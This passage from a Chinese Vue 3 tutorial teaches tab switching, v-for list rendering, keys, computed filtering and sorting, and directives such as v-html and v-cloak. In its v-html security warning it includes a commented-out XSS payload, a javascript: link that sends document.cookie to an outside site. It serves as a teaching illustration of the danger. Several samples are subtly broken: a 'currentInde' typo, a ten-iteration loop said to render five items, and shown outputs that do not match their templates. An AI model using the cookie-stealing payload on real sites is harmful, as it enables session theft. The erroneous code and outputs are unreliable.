时,最终渲染效果如下:
# 10、选项卡特效
TIP
选项卡效果涉及到用户会频繁在各个选项之间来回切换,所以更适合用v-show
,因为切换的开销低
如果你想让你的网站首次渲染页面时更快,可以改用
v-if
,实际开发主要还是根据用途来选择。
代码示例
<script>
export default {
data() {
return {
currentIndex: 0,
};
},
methods: {
changeIndex(index) {
this.currentIndex = index;
},
},
};
</script>
<template>
<div class="music">
<div class="tab">
<div
class="tab-item"
:class="{ active: currentIndex === 0 }"
@click="currentIndex = 0"
>
流行
</div>
<div
class="tab-item"
:class="{ active: currentIndex === 1 }"
@click="currentIndex = 1"
>
经典
</div>
<div
class="tab-item"
:class="{ active: currentIndex === 2 }"
@click="currentIndex = 2"
>
伤感
</div>
<div
class="tab-item"
:class="{ active: currentIndex === 3 }"
@click="currentInde = 3"
>
抖音爆红
</div>
</div>
<div class="tab-content">
<div v-show="currentIndex === 0">流行音乐</div>
<div v-show="currentIndex === 1">经典音乐</div>
<div v-show="currentIndex === 2">伤感音乐</div>
<div v-show="currentIndex === 3">抖音爆红音乐</div>
</div>
</div>
</template>
<style>
.music {
width: 600px;
}
.tab {
height: 40px;
display: flex;
}
.tab-item {
width: 100px;
height: 40px;
text-align: center;
line-height: 40px;
margin-right: 5px;
background-color: #ddd;
cursor: pointer;
}
.tab-item.active {
background-color: skyblue;
color: #fff;
font-size: 18px;
}
.tab-content {
height: 400px;
}
.tab-content div {
border: 1px solid skyblue;
height: 400px;
font-size: 50px;
text-align: center;
line-height: 400px;
}
</style>
# 四、列表渲染
TIP
vue 提供了 v-for 指令,可以基于这个指令将数组、对象等数据结构渲染成一个列表。
本小节需要学习的 v-for 指令相关内容,如下:
- v-for 基本用法
- v-for 遍历对象
- v-for 与整数
- v-for 多层嵌套循环
- v-for 与
<template>
- v-for 渲染二级菜单
- v-for 与 v-if 的结合
- v-for 与解构赋值
- key 属性
- 展示数组过滤后数据
- 对筛选后数组排序
- 只对数组排序,并显示结果
# 1、v-for 基本用法
TIP
v-for
指令本质就是通过循环方式来遍历数组或对象等,并将其渲染成一个列表。
v-for
指令的值需要使用item in arr
形式的特殊语法
arr
是源数据的数组item
是迭代项的别名(别名可以自定义)
代码示例
<script>
export default {
data() {
return {
arr: ["人气TOP", "爆款套餐", "咖啡", "奶茶", "甜品小点"],
};
},
};
</script>
<template>
<ul>
<!-- 以下方式相当于对数组arr进行迭代,item为迭代项-->
<li v-for="item in arr">{{ item }}</li>
</ul>
</template>
以上代码,最终编译后的结果如下:
<ul>
<li>人气TOP</li>
<li>爆款套餐</li>
<li>咖啡</li>
<li>奶茶</li>
<li>甜品小点</li>
</ul>
获取数组每项索引
如果我们想要在
v-for
遍历数组时拿到数组中每一项的索引,可以采取以下写法
<ul>
<!-- 以下方式相当于对数组arr进行迭代,item为迭代项,index为每一项的索引-->
<li v-for="(item,index) in arr">{{ item }}</li>
</ul>
以上代码,最终编译后结果如下:
<ul>
<li>0 - 人气TOP</li>
<li>1 - 爆款套餐</li>
<li>2 - 咖啡</li>
<li>3 - 奶茶</li>
<li>4 - 甜品小点</li>
</ul>
用 of
作为分隔符来替代 in
我们也可以把
item in arr
中的in
用of
来代替,写成:item of arr
,
<li v-for="(item,index) of arr">{{ item }}</li>
# 2、v-for 遍历对象
TIP
v-for
指令可以用来遍历一个对象的所有属性值,属性名,位置索引
- 只遍历对象的属性值
<!--以下方式相当于遍历对象myObject, value为属性值, 名字可自定义-->
<li v-for="value in myObject">{{ value }}</li>
- 同时遍历对象的属性值和属性名
<!--value为对象属性值,key为对象的属性名-->
<li v-for="(value,key) in myObject">{{ value }}</li>
- 同时遍历对象的属性值、属性名、位置索引
<!--value为对象属性值,key为对象的属性名,index为位置索引-->
<li v-for="(value,key,index) in myObject">{{ value }}</li>
代码演示
<script>
export default {
data() {
return {
usersInfo: {
username: "清心",
age: 33,
sex: "女",
},
};
},
};
</script>
<template>
<h3>用户信息</h3>
<div v-for="(value, key, index) in usersInfo">
{{ index }}---{{ key }}---{{ value }}
</div>
</template>
以上代码,最终编译后结果如下:
<h3>用户信息</h3>
<div>0---username---清心</div>
<div>1---age---33</div>
<div>2---sex---女</div>
# 3、v-for 与 整数
v-for
可以直接接受一个整数值,如下:
<div v-for="n in 10">{{ n }}</div>
以上代码相当于把div
这个模板重复5
次,最终渲染后效果如下:
<div>1</div>
<div>2</div>
<div>3</div>
<div>4</div>
<div>5</div>
注意: n 的初始值是从 1 开始,而非 0。
# 4、v-for 多层嵌套循环
TIP
v-for
与 JS 中使用 for 循环一样,可以嵌套使用。
如下:
<script>
export default {
data() {
return {
dataInfo: [
[1, 2, 3],
["A", "B", "C"],
],
};
},
};
</script>
<template>
<ul v-for="arr in dataInfo">
<li v-for="item in arr">{{ item }}</li>
</ul>
</template>
以上代码,最终编译后结果如下:
<ul>
<li>1</li>
<li>2</li>
<li>3</li>
</ul>
<ul>
<li>A</li>
<li>B</li>
<li>C</li>
</ul>
# 5、v-for 与<template>
TIP
当需要使用v-for
指令来渲染一个包含多个元素的块时,可以将多个元素包裹在<template>
标签里。
最终
<template>
标签不会出现在最终编译后的结果中
<script>
export default {
data() {
return {
usersInfo: [
{
title: "新闻标题一",
desc: "新闻一的描述新闻一的描述新闻一的描述",
},
{
title: "新闻标题二",
desc: "新闻二的描述新闻二的描述新闻二的描述",
},
{
title: "新闻标题三",
desc: "新闻三的描述新闻三的描述新闻三的描述",
},
],
};
},
};
</script>
<template>
<template v-for="(item, index) in usersInfo" :key="index">
<h3>{{ item.title }}</h3>
<p>{{ item.desc }}</p>
</template>
</template>
以上代码编译后的结果如下:
<h3>新闻标题一</h3>
<p>新闻一的描述新闻一的描述新闻一的描述</p>
<h3>新闻标题二</h3>
<p>新闻二的描述新闻二的描述新闻二的描述</p>
<h3>新闻标题三</h3>
<p>新闻三的描述新闻三的描述新闻三的描述</p>
# 6、案例:v-for 渲染二级菜单
<script>
export default {
data() {
return {
menuList: [
{
category_id: 1001,
title: "人气TOP",
children: ["生酪拿铁", "丝绒拿铁", "相思红豆拿铁"],
},
{
category_id: 1002,
title: "爆款套餐",
children: ["2杯贴贴咖啡", "3杯醒醒咖啡", "2杯么么咖啡"],
},
{
category_id: 1003,
title: "咖啡",
children: ["生酪拿铁", "生椰丝绒拿铁", "2杯么么咖啡"],
},
{
category_id: 1004,
title: "奶茶",
children: ["小小生椰", "丝绒拿铁", "生椰咖啡"],
},
{
category_id: 1005,
title: "甜品小点",
children: ["甜品小点", "甜品小点", "甜品小点"],
},
],
};
},
};
</script>
<template>
<div class="menu">
<template v-for="(item, index) in menuList" :key="index">
<h3>{{ item.title }}</h3>
<ul>
<li v-for="(child, index) in item.children" :key="index">
{{ child }}
</li>
</ul>
</template>
</div>
</template>
<style>
.menu {
width: 200px;
padding: 20px;
background-color: skyblue;
}
</style>
以上代码,最终编译后结果如下:
<div class="menu">
<h3>人气TOP</h3>
<ul>
<li>生酪拿铁</li>
<li>丝绒拿铁</li>
<li>相思红豆拿铁</li>
</ul>
<h3>爆款套餐</h3>
<ul>
<li>2杯贴贴咖啡</li>
<li>3杯醒醒咖啡</li>
<li>2杯么么咖啡</li>
</ul>
<h3>咖啡</h3>
<ul>
<li>生酪拿铁</li>
<li>生椰丝绒拿铁</li>
<li>2杯么么咖啡</li>
</ul>
<h3>奶茶</h3>
<ul>
<li>小小生椰</li>
<li>丝绒拿铁</li>
<li>生椰咖啡</li>
</ul>
<h3>甜品小点</h3>
<ul>
<li>甜品小点</li>
<li>甜品小点</li>
<li>甜品小点</li>
</ul>
</div>
具体显示效果如下:
# 7、v-for 与 v-if 结合
TIP
当一个元素节点上同时出现v-if
与v-for
时 ,v-if
比v-for
的优先级会更高。
这就意味着v-if
的条件中无法访问到 v-for
作用域内定义的变量别名。
以下代码会抛出一个错误,因为在
v-if
中是不能使用v-for
中的item
<div
class="tr"
v-for="(item, index) in productList"
v-if="item.price > 100"
></div>
如果我们确实需要在v-if
中访问到v-for
中的变量,则可以在外新包装一层<template>
标签,并将v-for
移到<template>
标签上。这样不但解决了这个问题,而且可读性也更高。
<template v-for="(item, index) in productList">
<div class="tr" v-if="item.price > 100"></div>
</template>
代码演示
进过筛选,只显示价格
>100
元的衣服信息。
<script>
export default {
data() {
return {
productList: [
{
title: "短袖T恤男夏季新款印花宽松休闲",
price: 39,
},
{
title: "鼎铜毛呢夹克男中年男士商务休闲",
price: 290,
},
{
title: "t恤男短袖中年拼色撞色半袖",
price: 190,
},
],
};
},
};
</script>
<template>
<div class="table">
<div class="tr">
<div class="th">序号</div>
<div class="th">名称</div>
<div class="th">价格</div>
</div>
<template v-for="(item, index) in productList" :key="index">
<div class="tr" v-if="item.price > 100">
<div class="td">{{ index }}</div>
<div class="td">{{ item.title }}</div>
<div class="td">{{ item.price }}</div>
</div>
</template>
</div>
</template>
<style>
.table {
display: table;
width: 800px;
}
.table .tr {
display: table-row;
}
.table .tr .td,
.table .tr .th {
display: table-cell;
border: 1px solid #000;
height: 30px;
text-align: center;
line-height: 30px;
}
.table .tr .th {
background-color: skyblue;
}
</style>
最终编译后结果如下:
<div class="table">
<div class="tr">
<div class="th">序号</div>
<div class="th">名称</div>
<div class="th">价格</div>
</div>
<!--v-if-->
<div class="tr">
<div class="td">1</div>
<div class="td">鼎铜毛呢夹克男中年男士商务休闲</div>
<div class="td">290</div>
</div>
<div class="tr">
<div class="td">2</div>
<div class="td">t恤男短袖中年拼色撞色半袖</div>
<div class="td">190</div>
</div>
</div>
最终展示效果如下:
注:
以上方式筛选出价格>100
的衣服并显示,不是最合理的,后面会讲到计算属性的方式来实现。
# 8、v-for 与 解构赋值
TIP
v-for
指令后的表达式中可以使用解构赋值。
如下:
<script>
export default {
data() {
return {
productList: [
{
title: "短袖T恤男夏季新款印花宽松休闲",
price: 39,
},
{
title: "鼎铜毛呢夹克男中年男士商务休闲",
price: 290,
},
{
title: "t恤男短袖中年拼色撞色半袖",
price: 190,
},
],
};
},
};
</script>
<template>
<ul>
<!--采用解构赋值,取出title与price-->
<li v-for="({ title, price }, index) in productList" :key="index">
{{ index }}: {{ title }} -- {{ price }}
</li>
</ul>
</template>
代码编译后结果如下:
<ul>
<li>0: 短袖T恤男夏季新款印花宽松休闲 -- 39</li>
<li>1: 鼎铜毛呢夹克男中年男士商务休闲 -- 290</li>
<li>2: t恤男短袖中年拼色撞色半袖 -- 190</li>
</ul>
# 9、key 属性
TIP
- 在利用
v-for
指令渲染元素列表示,官方推荐我们为每个元素添加一个特殊的key
属性。 - 并且要求同一个父元素下的子元素的
key
属性的值是唯一的,重复的 key 将导致渲染异常 key
是一个特殊的属性,最终页面被渲染后,key
不会出现在元素的身上key
属性主要作为 Vue 的虚拟 DOM 算法提示,在比较新旧节点列表时用于识别 vnode。- 在没有
key
的情况下,Vue 将使用一种最小化元素移动的算法,并尽可能地就地更新/复用相同类型的元素。 - 如果传了 key,则将根据 key 的变化顺序来重新排列元素,并且将始终移除/销毁 key 已经不存在的元素。
- 在没有
为了帮助我们更好的理解 key 属性的作用及注意事项,接下来我们通过以下案例来展开讲解。
我们希望在渲染好的列表前添加一项新的内容,并且要保证最终能正确渲染出如下效果。
代码示例
<script>
export default {
data() {
return {
menuList: [
{
category_id: 1001,
title: "人气TOP",
},
{
category_id: 1002,
title: "爆款套餐",
},
{
category_id: 1003,
title: "甜品小点",
},
],
};
},
methods: {
add() {
this.menuList.unshift({
category_id: 1004,
title: "咖啡奶茶",
});
},
},
};
</script>
<template>
<button @click.once="add">添加</button>
<ul>
<li v-for="(item, index) in menuList" :key="index">
{{ index }} - {{ item.title }}
<input type="text" />
</li>
</ul>
</template>
注:
以上代码在利用v-for
指令生成列表时,key
属性的值为每一项的索引,虽然也是唯一的。
但是当我们在数组的前面插入一项时,原有数组中的每一项的索引都加 1 了,而新增的第一项的索引为 0,这样造成了在新旧虚拟 DOM 对比时,每一项key
相同的li
中的文本内容都不一样,都要重新更新。
最终终渲染效果如下:
最终渲染出来的效果,并不是我们想要的,注意观察右边的代码,我们发现在更新时,每一项li
中的文字内容都发生了更新,但是input
标签没有被更新。
原因在于新旧虚拟 DOM 在对比时,把key
相同的每一项拿出来对比,发现对应key
值相同的每一项li
中的文字内容不一样而input
标签是一样的,所以只对内容做了更新,并没有对input
标签做更新,最后一项li
中内容为全部新增。
DOM 渲染的内部原理 l 图
所以在这种情况下(在中间或前面)插入新的内容时,我们不能拿元素的index
索引来作为key
属性的值,而应该选择唯一的category_id
来作为key
属性的值,这样不管在任何位置插入新的元素,都不会造成key
值的变化。
修改
key
属性值为category_id
<ul>
<li v-for="(item, index) in menuList" :key="item.category_id">
{{ index }} - {{ item.title }}
<input type="text" />
</li>
</ul>
最终渲染效果如下:
观察右边代码区,我们发现每一项li
中的文本内容也发生了更新,是因为渲染后,文本中对应的序号发生了变化,如果去掉序号,你会发现除了新增的第个li
,其li
中的内容都不会被更新
<ul>
<li v-for="(item, index) in menuList" :key="item.category_id">
{{ item.title }}
<input type="text" />
</li>
</ul>
最终渲染效果如下:
以
category_id
作为key
属性的值,内部新旧虚拟 DOM 对比如下图
总结
在利用v-for
渲染列表时,添加key
属性有利于提高后期渲染的速度,因为在后期渲染时,针对相同key
的元素,如果内容没有变化则不会重新渲染而是复用之前的 DOM。
不过在使用
key
属性时,有两点要注意:
- 属于同一父元素下的子元素的
key
必需是唯一的 - 如果
v-for
中是用来渲染列表,后期并不会对数据做增、删除操作,则key
的值可以是每一项的索引,如果需要做增删除,则唯一值不能是index
索引,而必需是其它唯一值。
# 10、案例:展示数组过滤后数据
TIP
当我们想要在页面中显示数组经过过滤后或排序后的内容,而又不能更改原数组的情况下,我们可以通过计算属性来实现。
创建一个计算属性,计算属性的返回值为原数组经过过滤或排序后得到的新数组。
代码演示:根据价格来显示对应商品
我们用
watch
侦听器和computed
计算属性两种方式来实现,然后通过对比,看那一种更优。
watch
侦听器实现
<script>
export default {
data() {
return {
productPrice: 0, // 初始筛选价格为0
filterProducts: [], // 过滤后数组存放到这个数组
productList: [
// 源数据数组
{
title: "短袖T恤男夏季新款印花宽松休闲",
price: 39,
},
{
title: "鼎铜毛呢夹克男中年男士商务休闲",
price: 290,
},
{
title: "t恤男短袖中年拼色撞色半袖",
price: 190,
},
{
title: "女半袖体恤chic宽松上衣 米白",
price: 88,
},
{
title: "连衣裙女装2023春夏季新款",
price: 220,
},
{
title: "短袖t恤女夏季新款韩版洋气时尚",
price: 390,
},
{
title: "休闲裤女装夏季时尚套装女",
price: 320,
},
],
};
},
watch: {
// 侦听器
productPrice: {
handler(newValue) {
this.filterProducts = this.productList.filter(({ price }) => {
return price > newValue;
});
},
immediate: true, // 强制立即执行回调
},
},
};
</script>
<template>
<input type="text" v-model="productPrice" />
<ul>
<li v-for="item in filterProducts">{{ item.title }}--{{ item.price }}</li>
</ul>
</template>
computed
计算属性来实现
<script>
export default {
data() {
return {
productPrice: 0,
productList: [
{
title: "短袖T恤男夏季新款印花宽松休闲",
price: 39,
},
{
title: "鼎铜毛呢夹克男中年男士商务休闲",
price: 290,
},
{
title: "t恤男短袖中年拼色撞色半袖",
price: 190,
},
{
title: "女半袖体恤chic宽松上衣 米白",
price: 88,
},
{
title: "连衣裙女装2023春夏季新款",
price: 220,
},
{
title: "短袖t恤女夏季新款韩版洋气时尚",
price: 390,
},
{
title: "休闲裤女装夏季时尚套装女",
price: 320,
},
],
};
},
computed: {
// 计算属性
filterProducts() {
return this.productList.filter(({ price }) => {
return price > this.productPrice;
});
},
},
};
</script>
<template>
<input type="text" v-model="productPrice" />
<ul>
<li v-for="item in filterProducts">{{ item.title }}--{{ item.price }}</li>
</ul>
</template>
显然,通过对比,
computed
的方式更简洁。官方也推荐我们采用计算属性来实现。
温馨提示:
所有操作数据的方法,如果此方法会更改原数组,则可以利用计算属性来实现。
# 11、案例:对筛选后数组排序
TIP
接下来,我们在上面的案例的基础上再升级一下,我们针对过滤后的数据,再做相关的排序:升序,降序,恢原。
代码演示:在数据过滤的基础上再排序
computed
计算属性实现
<script>
export default {
data() {
return {
productPrice: 0,
sortType: 0, // 0 不排序,1升序 2降序
productList: [
{
title: "短袖T恤男夏季新款印花宽松休闲",
price: 39,
},
{
title: "鼎铜毛呢夹克男中年男士商务休闲",
price: 290,
},
{
title: "t恤男短袖中年拼色撞色半袖",
price: 190,
},
{
title: "女半袖体恤chic宽松上衣 米白",
price: 88,
},
{
title: "连衣裙女装2023春夏季新款",
price: 220,
},
{
title: "短袖t恤女夏季新款韩版洋气时尚",
price: 390,
},
{
title: "休闲裤女装夏季时尚套装女",
price: 320,
},
],
};
},
// 计算属性
computed: {
filterProducts() {
// 过滤数据
const arr = this.productList.filter(({ price }) => {
return price > this.productPrice;
});
// 对过滤后数据排序
//如果this.sortType===0,则不排序,不在考虑范围内
if (this.sortType) {
return arr.sort((item1, item2) => {
return this.sortType === 1
? item1.price - item2.price
: item2.price - item1.price;
});
}
return arr; // 如果不排序时,也要有返回值
},
},
};
</script>
<template>
<div>
<input type="text" v-model="productPrice" />
<button @click="sortType = 1">升序</button>
<button @click="sortType = 2">降序</button>
<button @click="sortType = 0">还原</button>
</div>
<ul>
<li v-for="item in filterProducts">{{ item.title }}--{{ item.price }}</li>
</ul>
</template>
# 12、案例:显示数组排序后内容
TIP
如果我们只对数组中的数据做相关的排序操作,则需要特别注意sort()
方法的使用。
sort()
方法会更改原始数组- 请在调用
sort()
方法排序时,先创建一个原始数组的副本,利用副本来操作数据,这样就能保证原数组不变。
// 错误写法 ,这样原数组会被修改
this.productList.sort()
// 正确写法 创建一个副本,利用这个副本来操作数据
[...this.productList].sort()
代码演示:对数组进行排序,并显示排序结果
<script>
export default {
data() {
return {
sortType: 0, // 0 不排序,1升序 2降序
productList: [
{
title: "短袖T恤男夏季新款印花宽松休闲",
price: 39,
},
{
title: "鼎铜毛呢夹克男中年男士商务休闲",
price: 290,
},
{
title: "t恤男短袖中年拼色撞色半袖",
price: 190,
},
{
title: "女半袖体恤chic宽松上衣 米白",
price: 88,
},
{
title: "连衣裙女装2023春夏季新款",
price: 220,
},
{
title: "短袖t恤女夏季新款韩版洋气时尚",
price: 390,
},
{
title: "休闲裤女装夏季时尚套装女",
price: 320,
},
],
};
},
// 计算属性
computed: {
sortProducts() {
if (this.sortType) {
// 注意,创建原数据的副本
return [...this.productList].sort((item1, item2) => {
return this.sortType === 1
? item1.price - item2.price
: item2.price - item1.price;
});
}
// 如果上面不创建原始数据的副本,则我们点击还原按扭时,将无任何效果
return this.productList;
},
},
};
</script>
<template>
<div>
<button @click="sortType = 1">升序</button>
<button @click="sortType = 2">降序</button>
<button @click="sortType = 0">还原</button>
</div>
<ul>
<li v-for="item in sortProducts">{{ item.title }}--{{ item.price }}</li>
</ul>
</template>
# 五、其它内置指令
在前面我们学习了 Vue 相关的内置指令,如:
内置指令 | 说明 |
---|---|
v-bind | 单向数据绑定,用来动态绑定元素的属性,简写成: |
v-model | 双向数据绑定,常用在表单输入元素上 |
v-on | 给元素绑定事件监听器,简写成:@ |
v-if 与v-else 与v-else-if | 根据表达式的真假性,来条件性地渲染元素 |
v-show | 根据表达式的真假性,来改变元素的显示与隐藏 |
v-for | 基于原始数据(数组、对象等)来渲染元素 |
本小节,我们继续来学习 Vue 相关的其它内部指令:
v-text
、v-html
、v-once
、v-cloak
、v-pre
# 1、v-text 指令
TIP
v-text
指令用于更新元素的innerText
文本内容,他会替换当前元素内的所有节点内容。
<script>
export default {
data() {
return {
message: "Hello Vue!",
};
},
};
</script>
<template>
<div v-text="message"></div>
</template>
v-text
指令中的内容如果包含html
标签,html
标签并不会被编译,而是会当前字符串原样输出
<script>
export default {
data() {
return {
message: "<h3>Hello Vue!</h3>",
};
},
};
</script>
<template>
<div v-text="message"></div>
</template>
# 2、v-html 指令
TIP
v-html
指令用于更新元素的innerHTML
内容
- 如果内容中包含
html
标签,会被正常显示 - 如果内容中包含 Vue 模板语法,则不会被解析
<script>
export default {
data() {
return {
info: "我是清心",
message: "<h3>Hello Vue! {{info}} </h3>",
};
},
};
</script>
<template>
<div v-html="message"></div>
</template>
安全说明
在你的站点上动态渲染任意的 HTML 是非常危险的,因为它很容易导致 XSS 攻击
。请只对可信内容使用 HTML 插值,绝不要将用户提供的内容作为插值
代码演示:以下将用户输入内容作为v-html
指令的内容,是非常危险的
<script>
export default {
data() {
return {
message: ``,
// message: `<a href='javascript:location.href="http://www.baidu.com?info="+document.cookie'>点击,查看美女</a>`
};
},
};
</script>
<template>
<textarea cols="60" rows="5" v-model="message"></textarea>
<div v-html="message"></div>
</template>
上面案例中,用户输入的内容中携带的 JS 脚本,点击链接后,就可以把当前网站的
cookie
信息获取到,这是非常不安全的。
# 3、v-once 指令
TIP
v-once
指令用来告诉 Vue,当前元素只渲染一次,即初次渲染后,就不会再渲染了。
<script>
export default {
data() {
return {
n: 1,
arr: [1, 2, 3],
};
},
};
</script>
<template>
<div v-once>当前内容n永不更新 {{ n }}</div>
<div>当前内容中n会动态更新 {{ n }}</div>
<button @click="n++">n++</button>
<ul>
<li v-for="item in arr" v-once>不可更新{{ item }}</li>
</ul>
<ul>
<li v-for="item in arr">可更新{{ item }}</li>
</ul>
<button @click="arr = ['A', 'B', 'C']">更新数据 {{ arr }}</button>
</template>
如果有些数据只需要初始渲染,后面不需要再维护这些数据,则可以添加
v-once
来提高性能。
# 4、v-cloak 指令
TIP
v-cloak
指令仅作为了解即可,该指令只在没有构建步骤的环境下需要使用
当使用直接在 DOM 中书写的模板时,可能会出现一种叫做“未编译模板闪现”的情况:用户可能先看到的是还没编译完成的双大括号标签,直到挂载的组件将它们替换为实际渲染的内容。
v-cloak
指令本质是在元素身上添加了v-cloak
这样一个自定义属性。不过这个属性在组件实例被挂后就会移除。v-cloak
指令需要与[v-cloak]{display:none}
这样的 CSS 规则配合使用,这样就可以在组件编译前被隐藏,编译后因为v-cloak
属性移出,则元素显示。
<style>
[v-cloak] {
display: none;
}
</style>
<div id="app">
<div>{{ message }}</div>
</div>
<!--
这里故意把js引入放在当前这个位置,这样网速很慢时,会先看到上面没有编译的DOM元素呈现在页面,Vue接管后,组件被挂载成功,看到的是编译后的内容,为了防止组件没有被编译挂载前,不要呈现在页面中,则需要加v-cloak指令,同时加上[v-cloak]{display:none} css样式
-->
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
<script>
const { createApp } = Vue;
const app = createApp({
data() {
return {
message: "Hello Vue!",
};
},
});
const vm = app.mount("#app");
</script>
未加
v-cloak
指令前效果
加了
v-cloak
指令后效果
# 5、v-pre 指令
TIP
v-pre
指令用于告诉 Vue,可以跳过该元素及其所有子元素的编译。也就是当前元素及其子元素写成什么样就按原样输出,并不会对内部的模板语法做任何解析。
v-pre
指令应用场景
如果在项目中有些节点确实不需要编译(即节点中没有使用 Vue 语法),可以添加v-pre
指令,能提高编译的速度。
<script>
export default {
data() {
return {
username: "艾编程",
age: 33,
};
},
};
</script>
<template>
<div v-pre>
<h3>用户信息</h3>
<p>姓名:{{ username }}---年龄:{{ age }}</p>
</div>
</template>
# 6、总结
内置指令 | 说明 |
---|---|
v-text | v-text 指令用于更新元素的innerText 文本内容 |
v-html | v-html 指令用于更新元素的innerHTML 内容 |
v-once | v-once 指令用来告诉 Vue,当前元素只渲染一次,即初次渲染后,就不会再渲染了。 |
v-cloak | 仅作为了解,在实际开发中几乎不用 |
v-pre | v-pre 指令用于告诉 Vue,可以跳过该元素及其所有子元素的编译 |
大厂最新技术学习分享群
微信扫一扫进群,获取资料
X